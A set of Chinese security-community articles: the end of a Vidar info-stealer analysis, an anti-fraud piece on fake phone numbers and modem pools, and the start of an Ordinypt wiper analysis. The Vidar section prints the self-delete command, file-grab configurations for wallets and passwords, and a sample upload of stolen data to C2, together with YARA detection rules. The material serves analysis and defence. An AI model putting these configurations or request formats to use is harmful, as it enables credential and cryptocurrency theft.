到目前为止，文件已经被下载并保存在硬盘中，只需要用ShellExecuteA进行启动。所以不要犹豫，就在此时对API函数下断点来捕捉payload，不然错过最佳时机。
## Killing 模块
当窃密软件完成所有任务和清理工作后，会进行自我清除。首先它会调用[GetCurrentProcessId](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-getcurrentprocessid)来查询自己的[PID](https://en.wikipedia.org/wiki/Process_identifier)。
然后进入“func_GetProcessIdName”，尝试用[OpenProcess](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess)打开自己的进程句柄，如果失败，将继续检索。这里最重要的环节是调用[GetModuleBaseNameA](https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-getmodulebasenamea)，它可以通过之前获取的PID来检索出其对应进程的进程名。
在.rdata中将一些字符串进行硬编码，以备将来调用。
当精心构造的请求完成后，Vidar 将使用[ShellExecuteA](https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea)调用shell命令行并执行指定的任务。这使它拥有清除payload和失陷主机交互痕迹的能力。
回顾一下执行的命令：
C:WindowsSystem32cmd.exe” /c taskkill /im vidar.exe /f & erase C:UsersPouetAppDataLocalTempvidar.exe & exit
对应解释说明：
Offset File + db ‘/c taskkill /im’ + [GetModuleBaseNameA] + db ‘ /f & erase’ + [GetModuleFileNameExA + GetModuleBaseNameA]+ + db ‘ & exit’
## 信息存档
### 生成文件夹
文件夹命名格式为：
COUNTRY + “_” + Machine GUID + “.zip”
例如：
NG_d6836847-acf3-4cee-945d-10c9982b53d1.zip
### 最终的POST请求
在生成POST请求的过程中，最终生成的POST请求将进行修改，添加额外的标识以便C2服务器进行识别处理。
不同的name字符串将保存在不同的数据库中，所以在HTTP请求中将出现不同的Content-Disposition。
此外，我在这里发现了一个它使用的小技巧，就是在POST请求的响应中包含loader的配置信息。
* 如果没有包含信息，则响应”OK”
* 如果包含了信息，则将特定的url存储在其中。
这与config及network information模块采用了相同的技术。
沙盒示例：
* POST请求
* 对于POST请求的响应
## 服务端
因为很容易就可以找到与这款窃密软件的相关信息，所以不需要费力去寻找在哪里才能买到它。为了吸引更多的用户，网上有许多教学视频，让我们通过视频教程来对它深入了解（所以截图均出自视频）。需要说明的是，以下界面为11月时的操作界面，现在可能发生了变化。
### 登录
#### Dashboard
主面板具有很好的用户友好性。用户可以快速浏览自己账户内的各项基本信息。
* builder版本
* 何时可以生成payload
* 受害者数
* 账号到期时间
### 日志
对于日志部分，需要提一下的是系统允许用户为日志添加相应的注释。
### 密码
### Builder
Builder界面也很有趣，可以在这里看到使用者的操作日志。此外， 在下载部分生成的恶意软件和Arkei一样，并不会打包。
因此用户者必须使用加密/打包软件来对payload进行处理。
### 设置
显而易见，这是最重要的界面，因为在这里可以生成payload。可以通过设置，启用（或不启用）某些功能来达到对目标机器进行针对性攻击。
因此，通过配置，Vidar可以同时执行多项功能。这意味着当payload感染受害者主机后，根据配置，窃取到的各项信息将保存在对应的文件夹中。获取到窃取的文件后，攻击者通过排序，可以很轻松的查看各项信息。
当编辑或创建新规则时，将弹出此界面来实现之前提到的功能。恶意软件将到所有可能存在的路径下去检索指定的文件。
经分析，我们发现在C2上，有许多配置项。以下是我们能找到的：
默认空配置：
1,1,1,1,1,1,1,1,0,1,250,none;
默认初始配置：
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
用户配置示例：
1,1,1,1,1,1,1,1,1,1,250,grabba;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;100;true;movies:music:mp3;
1,1,0,1,1,1,1,1,1,1,250,инфа;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Первое;%DESKTOP%;*.txt:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,123435566;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
同时执行多项配置：
1,1,1,1,1,1,0,1,1,1,250,
DESKTOP;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*2fa*.png:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DOCUMENTS;%DOCUMENTS%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DRIVE_REMOVABLE;%DRIVE_REMOVABLE%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
如上文中所示，通过特定的格式，将其分为三个部分，三项配置分别为：
* DESKTOP
* DOCUMENTS
* DRIVE_REMOVABLE
它们将各自存储在对应的文件夹中。
所有配置信息都可以在我的[github](https://github.com/Fmk0/work/tree/master/Vidar)仓库中找到。
通过对配置面板的介绍，可以看出窃密软件无论是在loader模块，还是投递手段等方面，都变的越来越类似。
正如一开始提到的，用户只能通过该界面对恶意软件进行配置，具体的管理由维护团队来负责。为了防止代理被过滤，控制域名将定期进行更换。（这一点在样本中也很容易看出来，因为不同的版本将对应不同的域名）
如官方声明所说，在用户界面，还存在2FA认证。
## 一些有趣的信息
在登录界面搜索信息时，将看到一些有趣的信息。
让我们看看背后隐藏着什么？
原来是一个彩蛋，来告诉大家Vidar(维达)是北欧神话中的复仇之神。
## Vidar—山寨版Arkei？
如果关注相关request（请求）和代码，会发现Vidar几乎与Arkei相同。虽然在某些方面略有不同，但所有功能都是相同的。如果蓝队成员只是根据沙箱运行结果进行判断，就会被迷惑。因为目前的Yara规则会将触发条件的Vidar当做Arkei，这会导致错误的检测结果。因此对代码进行分析是非常有必要的，这样才能弄清楚它是如何运行的。
他们（Vidar&Arkei）的主要功能非常相似：
保存窃取到信息的方法也一样。所以很难通过这些方面对二者进行区分。
### 代码差异
一个简单的判断方法就是看有没有“Vidar.cpp”这个字符串。
**Vidar的签名**
**Arkei的签名**
### 通信差异
分析人员可能会误认为Vidar与Arkei构造的HTTP 请求是不同的，然而事实并非如此。
**Vidar HTTP 请求**
/ (i.e 162) <- 配置信息
ip-api.com/line/ <- 获取网络配置信息
/msvcp140.dll <- 获取DLL文件
/nss3.dll <- 获取DLL文件
/softokn3.dll <- 获取DLL文件
/vcruntime140.dll <- 获取DLL文件
/ <- 向C2上传受害者信息
一个小的区别是Arkei不会下载二进制文件，而Vidar则会下载执行一些窃密模块时所需的相关二进制文件。
**Arkei HTTP请求**
/index.php <- 配置信息
ip-api.com/line/ <- 获取网络配置信息
/index.php <- 向C2上传受害者信息
**配置参数**
如果你想弄清楚Arkei中各配置参数的含义，可以参考下表：
可以看到，POST发生了轻微的变化，Vidar添加了配置文件名、版本等新字段。
我们可以通过PCAP数据流来更清楚的看出request中的异同，可以看到除了除了版本信息和配置信息，其他部分都是相同的（不同之处用星号标记)。如果我们分析更老的版本，将发现除了请求的路径之外，没有其他区别
**最后的POST请求—Vidar**
POST / HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 66809
Host: some.lovely.vidar.c2.with.love
Connection: Keep-Alive
Cache-Control: no-cache
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="hwid"
90059c37-1320-41a4-b58d-2b75a9850d2f
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="os"
Windows 7 Professional
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="platform"
x86
**--1BEF0A57BE110FD467A**
**Content-Disposition: form-data; name="profile"**
**XXX <- Random Int**
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="user"
admin
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="cccount"
0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ccount"
0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="fcount"
0
**--1BEF0A57BE110FD467A**
**Content-Disposition: form-data; name="telegram"**
0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ver"
**4.1**
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="logs"; filename="COUNTRY_.zip"
Content-Type: zip
### 功能差异
通过对不同功能的分析，
我发现在Vidar中一些功能并没有实现。比如Steam信息窃取和Skype信息窃取，在Arkei中是有这些功能的，而在Vidar中，并没有实现。但相反的，对于2FA
信息的窃取，只有Vidar能做到。（至少根据我获取到的样本是这样）
## Arkei是否仍活跃？
在一个售卖此窃密软件的页面可以看到，该软件仍在被出售并保持更新。可以看到不久的将来将发布v10版本，所以让我们拭目以待，看看它有哪些变化。
## 破解版Vidar
此外，一些人在推特上发现了经破解的版本。在操作页面源码中，这款基于Vidar 2.3版本构建的软件被称之为Vidar 或 “Anti-Vidar”。
**登录**
它的登录界面和Android Lokibot一样（感谢@siri_urz）。在这种情况中，代码永远不会说谎，它会帮助我们识别真正的C2/恶意软件。
**配置代码**
与现在的操作面板及样本相比，破解版的配置要简单的很多。默认配置硬编码在PHP文件中，当value为11时就可以获取配置信息。
## IoCs
**SHA256哈希**
3A20466CC8C07638B8882CCC9B14C08F605F700F03D388CF85B2E76C51D64D65 0E982A02D754588D4EE99F30084B886B665FF04A1460D45C4FD410B04B10A8AF 2679FA8E9FD0C1F6F26527D53759BB596FDA43A741B4DFCC99A8C0907836A835 9EC586B07961E0C93C830DD1C47598FE21277432F11809A4B73DF7370CDD2E29 42C6950CA57D8805C217E3334158DAB4CC71A50C94D77F608B1C442BFD2B01CA D71F81EDF8AC04639D3B7C80AA178DF95C2CBFE73F81E931448A475FB771267A DAD5FCEAB002791DD6FD575782C173F1A39E0E7CE36E6DE1BAEFA95D0A8FB889 66162E69CA30A75E0DD1A6FBB9028FCFBE67B4ADE8E844E7C9FF2DCB46D993D8 EFF272B93FAA1C8C403EA579574F8675AB127C63ED21DB3900F8AB4FE4EC6DA9 EDBAC320C42DE77C184D30A69E119D27AE3CA7D368F802D2F8F1DA3B8D01D6DD B1D5B79D13F95A516ABBCC486841C8659984E5135F1D9C74343DCCD4390C3475 543AEE5A5435C77A8DE01433079F6381ADB4110F5EF4350E9A1A56B98FE40292 65B2BD17E452409397E2BD6F8E95FE8B708347D80074861698E4683BD12437A9 47E89F2C76D018D4952D421C5F1D603716B10E1712266DA32F63082F042F9C46 5D37323DA22C5414F6E03E06EFD184D7837D598C5E395E83C1BF248A7DE57155 5C0AF9C605AFD72BEF7CE8184BCCC9578EDB3A17498ACEBB74D02EB4AF0A6D2E 65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BE90A 20E92C2BF75C473B745617932F8DC0F8051BFC2F91BB938B2CC1CD808EBBC675 C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADE5 AE2EBF5B5813F92B0F7D6FCBADFA6E340646E4A776163AE86905E735A4B895A0 8F73E9C44C86D2BBADC545CED244F38472C5AACE0F75F57C8FC2398CE0A7F5A1
感谢@benkow_帮忙找到的一些样本
**domains**
malansio.com
nasalietco.com
binacoirel.com
newagenias.com
bokolavrstos.com
naicrose.com
benderio.com
cool3dmods.com
### MITRE ATT&CK
* [发现 – 系统信息发现](https://attack.mitre.org/techniques/T1082)
* [发现 – 系统时间发现](https://attack.mitre.org/techniques/T1124)
* [发现 – 查询注册表](https://attack.mitre.org/techniques/T1012)
* [发现 – 进程检索](https://attack.mitre.org/techniques/T1057/)
* [执行 – 命令行界面](https://attack.mitre.org/techniques/T1059)
* [执行 – 通过模块加载执行](https://attack.mitre.org/techniques/T1129)
* [凭据访问 – 文件中的凭据](https://attack.mitre.org/techniques/T1081)
* [收藏 – 屏幕捕获](https://attack.mitre.org/techniques/T1113)
* [收集 – 来自可移动媒体的数据](https://attack.mitre.org/techniques/T1025)
* [收集 – 来自本地系统的数据](https://attack.mitre.org/techniques/T1005/)
* [窃密 – 数据压缩](https://attack.mitre.org/techniques/T1002)
### Yara规则
**Vidar**
rule Vidar_Stealer : Vidar
{
meta:
description = "Yara rule for detecting Vidar stealer"
author = "Fumik0_"
strings:
$mz = { 4D 5A }
$s1 = { 56 69 64 61 72 }
$s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 }
condition:
$mz at 0 and ( (all of ($s*)) )
}
rule Vidar_Early : Vidar
{
meta:
description = "Yara rule for detecting Vidar stealer - Early versions"
author = "Fumik0_"
strings:
$mz = { 4D 5A }
$s1 = { 56 69 64 61 72 }
$hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
condition:
$mz at 0 and all of ($hx*) and not $s1
}
rule AntiVidar : Vidar
{
meta:
description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version"
author = "Fumik0_"
strings:
$mz = { 4D 5A }
$s1 = { 56 69 64 61 72 }
$hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
$hx2 = { 78 61 6B 66 6F 72 2E 6E 65 74 00 }
condition:
$mz at 0 and all of ($hx*) and not $s1
}
**Arkei**
rule Arkei : Arkei
rule Arkei : Arkei
{
meta:
Author = "Fumik0_"
Description = "Rule to detect Arkei"
Date = "2018/12/11"
strings:
$mz = { 4D 5A }
$s1 = "Arkei" wide ascii
$s2 = "/server/gate" wide ascii
$s3 = "/server/grubConfig" wide ascii
$s4 = "\files\" wide ascii
$s5 = "SQLite" wide ascii
$x1 = "/c taskkill /im" wide ascii
$x2 = "screenshot.jpg" wide ascii
$x3 = "files\passwords.txt" wide ascii
$x4 = "http://ip-api.com/line/" wide ascii
$x5 = "[Hardware]" wide ascii
$x6 = "[Network]" wide ascii
$x7 = "[Processes]" wide ascii
$hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
condition:
$mz at 0 and
( (all of ($s*)) or ((all of ($x*)) and not $hx1))
}
## GitHub
* [检测脚本](https://github.com/Fmk0/scripts/blob/master/izanami.py)
* [配置信息](https://github.com/Fmk0/work/tree/master/Vidar)
## 建议
和我以前的博文中提到的一样，需要注意：
* 始终在虚拟机中运行恶意软件，并在虚拟机中安装增强功能（如Guest Additions）来触发尽可能多的虚拟机检测，然后关闭恶意软件。
* 完成检测后，停止虚拟机并还原到纯净的快照。
* 避免将文件存储在预先指定的路径（如Desktop, Documents, Downloads）中，而是放在不常见的位置。
* 不要愚蠢的去点击youtube上那些教你破解热门游戏或快速赚钱的弹框。（像Free Bitcoin Program /facepalm）
* 关闭浏览器前记得清除历史记录，不要使用“记住密码”。
* 不要使用同一密码注册多个网站。尽可能使用2FA 。
## 结语
这次分析经历对我而言就像一场探秘游戏。虽然很难去判断Vidar是否为Arkei的升级版，还是基于Arkei代码进行了二次开发。但就目前而言，正因为它是一款新的恶意软件，非常活跃，不断推出新的版本，所以我们可以保持持续跟踪。另一方面，它又和Android
Lokibot使用了一样的皮肤主题（破解版），但由于没有相关样本，导致缺失一些用来找到真正C2的关键信息。现在，让我们跟随着时间，看是否能得到更多线索来得到答案。
对于我个人，总结一下。我做了比预想中更多的事，2018是真正思考的一年，曾面对了许多问题和考验。我准备好迎接新一年的挑战了。今年经常因为学习而废寝忘食，现在是时候休息一下了。
感谢我们的小伙伴们，你们是最棒的！ | 社区文章 |
# Author:戒小贤@同盾反欺诈研究院
**一、技术原理**
“虚假号码”这个词，目前还没有被大多数人所接受。关于虚假号码的来源、危害、各种特性，外界也了解的很少，更不要提如何针对虚假号码进行风险防控了。
_“虚假号码”定义：_
用于代替他人接受验证码信息的未经实名制手机号码，统称为虚假号码。
国内的大批接码平台，提供了大量的虚假号码。比如之前被查处的爱码平台，累计经手的虚假号码达到了2000万，每天可用的虚假号码在500万以上。
此外，还有大批虚假号码，被黑产团伙直接持有，他们会自己开发自动化工具，来完成验证码接收和使用。目前这批虚假号码的规模无法估计。下面，来一起见识一下虚假号码的原理。
_“猫池”定义：_
英文名 Modem Pool。 Modem，即调制解调器，普通的家用宽带拨号所使用的"猫"也是一种modem。字面翻译过来，就是猫池。
Modem中一般封装了拨号协议，宽带所使用的Modem，封装的是PPPOE协议。猫池所使用的Modem，封装的是GSM、CDMA或其他的一些通讯协议。两种Modem都可以通过AT指令集来进行控制。
”
这是目前国内比较普遍的一种猫池，16个卡槽，每个卡槽，是一个GSM模块。设备通过USB和PC连接，挂载为一个串口设备。通过软件或驱动程序，向Modem发送AT指令，来完成特定的操作。
比如：电话呼叫13905168888
ATD+13905168888\r\n
挂断
ATH\r\n
读取短信
AT+CMG\r\n
由于AT指令通过串口发送，可以支持全平台、全语言，开发难度、成本都非常低。近年来随着物联网技术的发展，越来越多的地方需要使用到GSM协议。与此相关的技术、硬件、软件相继被开发出来，门槛也越来越低，互联网上存在很多非常成熟的猫池软件。
软件通过AT指令，读取到SIM中的短信，然后保存到数据库中，包括发信人、短信主体、收信时间等。并且，通过模板匹配，可以精确提取出短信中哪几个字符是验证码，根据发信人的号码，判断验证码对应哪个平台，从而自动填充到注册表单或订单页面中。在条件允许的情况下，一个注册机，一天可以注册超过10万账号。这些账号再后续的一些黑产活动中会被使用。
**二、关于验证码**
既然说到虚假号码，就不得不说“验证码“，这里指发送到用户手机上的验证码信息，包括短信验证码或者语音验证码。短信验证码可以轻松被猫池读取，那么语音验证码呢？
语音验证码本质上是一次电话呼叫，用户接听后，自动播放一段语音，其中包含朗读的验证码信息。
某些接码平台提供了听码服务，有专门的听码人员，或由开发者提供语音识别的功能，来完成验证码提取。除此之外，通过在猫池上设置呼叫转移，可以把包含验证码信息的短信呼叫，转移到特定的手机号上去，由用户来听取验证码。
使用语音验证码一定程度上提高了验证码获取和使用的难度，但依然无法阻止羊毛大军的脚步。
**三、虚假号码的使用场景**
虚假号码的使用场景非常多，下面逐个进行剖析。
**3.1 首单减免**
如此巨大的诱惑，很多羊毛党趋之若鹜。即使普通人，也会乐于尝试一些办法来不断地享受这个优惠。
先到接码平台上申请一个手机号，虚假号码一般是独占的，在我申请使用这个号码之后，与我申请的验证码模板相比配的第一条短信，会显示在我的个人界面中。其他人不能使用这个号码。
至此，凭借这条验证码，就可以完成一次注册了。
由于该平台下单，是必须通过移动端进行的，而且该平台已经建立了自己的设备指纹。如果用我自己的手机登陆这个账号，设备指纹会显示我已经拥有过一个账号，然后自动将两个账户合并，优惠券不在发放。
所以，一般还会配合模拟器，或改机工具进行。
**3.2 微信抢红包**
微信也是虚假号码高度集中的一个区域。
由于很多规模较小的互联网公司，已经不再开发自己独立的App了，转而提供H5页面，通过微信和支付宝的内置浏览器，就可以访问，并且对接了微信或支付宝的一些身份验证机制。
微信本身是不实名的，微信也不会将用户的手机号或其他信息传递给应用产商，仅凭微信账号的唯一标识来区分用户。很多微信上的优惠活动类似于：关注领红包、投票抽奖，就面临了被薅羊毛的风险。
羊毛党会批量的注册微信号，然后通过模拟器、群控手机等方式保持这些账号的活跃。这些账号可以在之后很长一段时间内，参与各种各样的优惠活动，赚取毛利。
一般的活动中，红包从2~10元不等，一个职业的羊毛党，一天可以稳定收入2000~5000元。每个垃圾账号收到红包之后，全部转移至一个账号上，然后提现。
由于微信不会对账号进行清洗，一个手机号注册过之后，其他人就不能在继续注册，只能申请解绑，或者申诉验证，于是衍生出了很多针对微信解绑的黑产技术，在此不做讨论。
**3.3 刷单场景**
和外卖平台的首单优惠很相似，电商也会有不定期的优惠活动。
这些优惠活动中，一般提供的优惠券，比如：满600减200等等。持有这些优惠券进行购物，实际支付的价格就比真实的价格要低很多。一旦物品到手，他们会以一个比较合理的价格倒手卖出，赚取中间的差价。
整个刷单包含了三个环节：批量注册、扫货和下单，都有自动化的工具。其中，虚假号码就是用在批量注册环节。
这是亚马逊的一个注册机，其中包含了很多功能，包括随机生成账号、自动获取虚假号码和验证码、自动更换IP，自动识别图形验证码等等。
甚至包含了一个生成随机Mac地址的功能。
换IP通过宽带或VPN重播，或者设定代理IP来实现。
注册10个账号只用了大约10分钟，单个IP上的频繁注册很容易触发风控规则，而且验证码特别难辨认，注册的速度受到了限制。这些新注册的账号可以享受亚马逊的优惠，比如1元购买电子书。
下图是同一个工作室开发的扫货软件。
除了刷单之外，一些活动也可能使用到这些账号。比如：刷评论，或者每日签到等等，只要能够牟利的地方，都有垃圾账号的用处。
**3.4 黄牛抢票**
由于12306的注册是需要身份证号的，这里没有尝试效果如何。如大家所知，12306一直是黄牛非常密集的地方。
**四、虚假号码的来源**
关于虚假号码的来源，目前普遍认为是通过运营商内部流出来的，这和我们目前收集到的情报相吻合。
一些管理不完善的运营商或虚拟运营商，存在内部人员批量拿卡的情况，拿到的卡被批量倒卖，价格一般比较低，而且数量巨大。另外，根据我们的分析，还存在一些其他的途径可以获取到虚假号码。
比如，某些营业厅在给用户办卡的时候，可以获取到用户的身份信息，他们会盗用这些信息，额外多申请几张卡，以满足运营商的一些绩效考核制度。运营商对此是清楚的，所以他们会根据手机号的一些状态，来判断是否存在虚报数量的情况。但是这个判断，仅仅根据”在网状态“来进行，即便卡插在猫池里，也会被认为是开机状态，就不会被认为是虚报。
也有一些，是由于用户的个人信息泄露，而被他人盗用，办理了手机卡。尤其是虚拟运营商，网上申请手机号，仅需要身份证号、姓名、一个在用的手机号以及手持身份证的图片即可。而这些东西，都可以很容易在网上找到，或者在黑市里购买。
以上这些渠道，构成了国内虚假号码最主要的三个来源。具体规模，我们尚不可知，根据这些来源，我们把虚假号码分成两大类：实名的，没有实名的。实名的卡，也叫黑卡或实名黑卡，目前缺乏有效的发现和防控手段，这里先不提及。
我们目前所说的虚假号码，其实是这批没有经过实名的，从运营商内部流出来的号码。
**五、虚假号码的用途**
前面虽然提到了虚假号码的使用场景，但是并没有全部说明虚假号码的用途，这里汇总如下：
编号 | 用途 | 描述
---|---|---
1 | 垃圾注册 | 为刷单、刷量、抢票、薅羊毛等行为提供必要的账号
2 | 验证/绑定/解绑 | 如果虚假号码已经被注册过一个账号，可能会通过解绑、验证等方式强制收回账号的所有权
3 | 隐私保护 | 存在极少数的案例，当事人不愿意暴露自己的真实信息，会使用虚假号码，比如，河南省公安厅网上举报通道
一般的，平台的的优惠政策，诸如：红包、返现、优惠券等等，直接影响虚假号码的数量和占比。
在和虚假号码的对抗中，我们必须关注各个平台的优惠活动，优质的活动必然引来羊毛党的关注。而且，并不是每一个优惠活动都可以被薅，这需要我们投入一定的力量进行分析。
比如，之前客户反馈的一个案例，新用户注册之后，将得到80元的新手礼包，不能提现，但是可以用于购买贵金属。期间，羊毛单通过操作众多账号，批量买入和抛出，80个账号中，有79个都亏了，但是最后一个，可以赚到很多。
如果不是事后的数据分析捕捉到这个异常行为，可能都不会意识到有如此走心的羊毛党。
**六、虚假号码的防控**
目前我们对虚假号码的防护，主要来源于黑名单，黑名单的规模，直接影响了防控的效果。我们对国内所有的接码平台进行监控，7*24小时从这些平台获取虚假号码的数据。接码平台也有一定的技术实力，也会对爬虫进行规避。我们用户爬取的账号平均有效期只有一周，大大增加了我们的工作难度。
我们一直在对各个接码平台进行监控，保证我们数据的持续更新和有效。某些平台迫于一些压力，开始转入地下，我们依然能够通过强大的情报系统找到他们。
**6.1 虚拟号码的生存期限**
由于虚假号码不会进行实名制登记，存活期一般在60~90天(根据不同的运营商而变化)。我们随机抽取了一份虚假号码样本，在两个月的时间内，对手机号的存活状态进行了一些监测，统计已经失效的手机号占比，结果如下：
手机号状态检测，是我们判断虚假号码最强有力的一种方式。每一个虚假号码，都逃不过被强制停机的命运。但是我们只能在手机号已经停机或变成空号之后才能发现，欺诈分子可能已经利用它参与了很多欺诈活动，在实际的使用中，并不理想。
但手机号状态检测，为我们验证各种猜想提供了可靠的依据。
**6.2 基于设备关联关系**
复杂网络，是我们识别虚假号码的方案中最为出色的一种。
基于同盾设备指纹的海量覆盖，我们对设备(安卓、IOS、PC等)进行了唯一标识，通过这个设备进行注册、登陆、交易等活动的手机号，就与这个设备建立了关联关系。
我们通过已知的虚假号码，分析出曾经使用过这些号码的设备；再通过这些设备的唯一标识，去检索与之关联过的其他手机号，顺藤摸瓜，揪出了更多的高风险手机号。一般，散户的羊毛党只会有一到两台手机进行操作；具备一定能力的团伙，会使用数十台甚至数百台设备。
根据我们的目前的数据分析，通过复杂网络分析出来的“可疑手机号”，风险概率高达99%，最终变为空号的概率接近90%。其中有少部分手机号是羊毛党的真实手机号，可以作为定位羊毛党身份的重要依据。
一个电信的虚假号码复杂网络关联效果如下：
**6.3 实名制对虚假号码的影响**
手机号实名制，从2016年10月开始强制施行。之后的几个月中，我们监测的数十个接码平台，相继下线。但是虚假号码的总体规模，依然保持在原有的水平。随着三个运营商和虚拟运营商的内部监管越来越严格，国内的虚假号码数量会有所下降。
但这并不代表虚假号码会从此消失。
卡商们发现，国内的手机号获取变得困难，就开始转向了国外。尤其是东南亚一些国家，缺乏通信方面的监管，就可以大批量购卡。刚好国内的很多平台，逐步开放了国际注册，比如：微信，熊猫TV，映客等等。
总而言之，和欺诈分子的对抗中，虚假号码占了很重要的角色。在不断的对抗中，我们尝试了各种各样的方法去检测、识别虚假号码；同时，黑产也在持续的裂变中，发明了很多规避检测的手段。 | 社区文章 |
# 【病毒分析】Ordinypt恶意软件分析报告
|
##### 译文声明
本文是翻译文章，文章来源：29wspy.ru
原文地址：<http://29wspy.ru/reversing/Ordinypt/Ordinypt.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
近期，出现了一个新的勒索病毒，被称为“Ordinypt”，其目标主要针对于德国用户。我们对这个恶意软件进行了分析，并进行了逆向工作，以研究该病毒的工作原理。
Ordinypt表面上是一个勒索病毒，会向受感染的用户勒索金钱，以解密文件。但我们发现，它实际上是一个清扫器（Wiper）类型的病毒，被它加密的文件会直接被销毁，并且没有任何通过支付赎金给恶意软件作者以恢复文件的机制。
用于本次分析之中的病毒样本Hash值为 **3ba3272977dfe0d1a0c48ef6cb9a06b2** 。接下来让我们开始分析该样本。
**恶意软件分析
**
****
第一步，我们使用 **ExeInfo** 查看该恶意软件是否加壳，当然也可以使用 **PeID** 等工具来进行。
根据ExeInfo的结果， **该恶意软件使用MPRESS 2.12进行加壳** ，因此我们可以借助工具来进行脱壳，或者也可以尝试着手动脱壳。
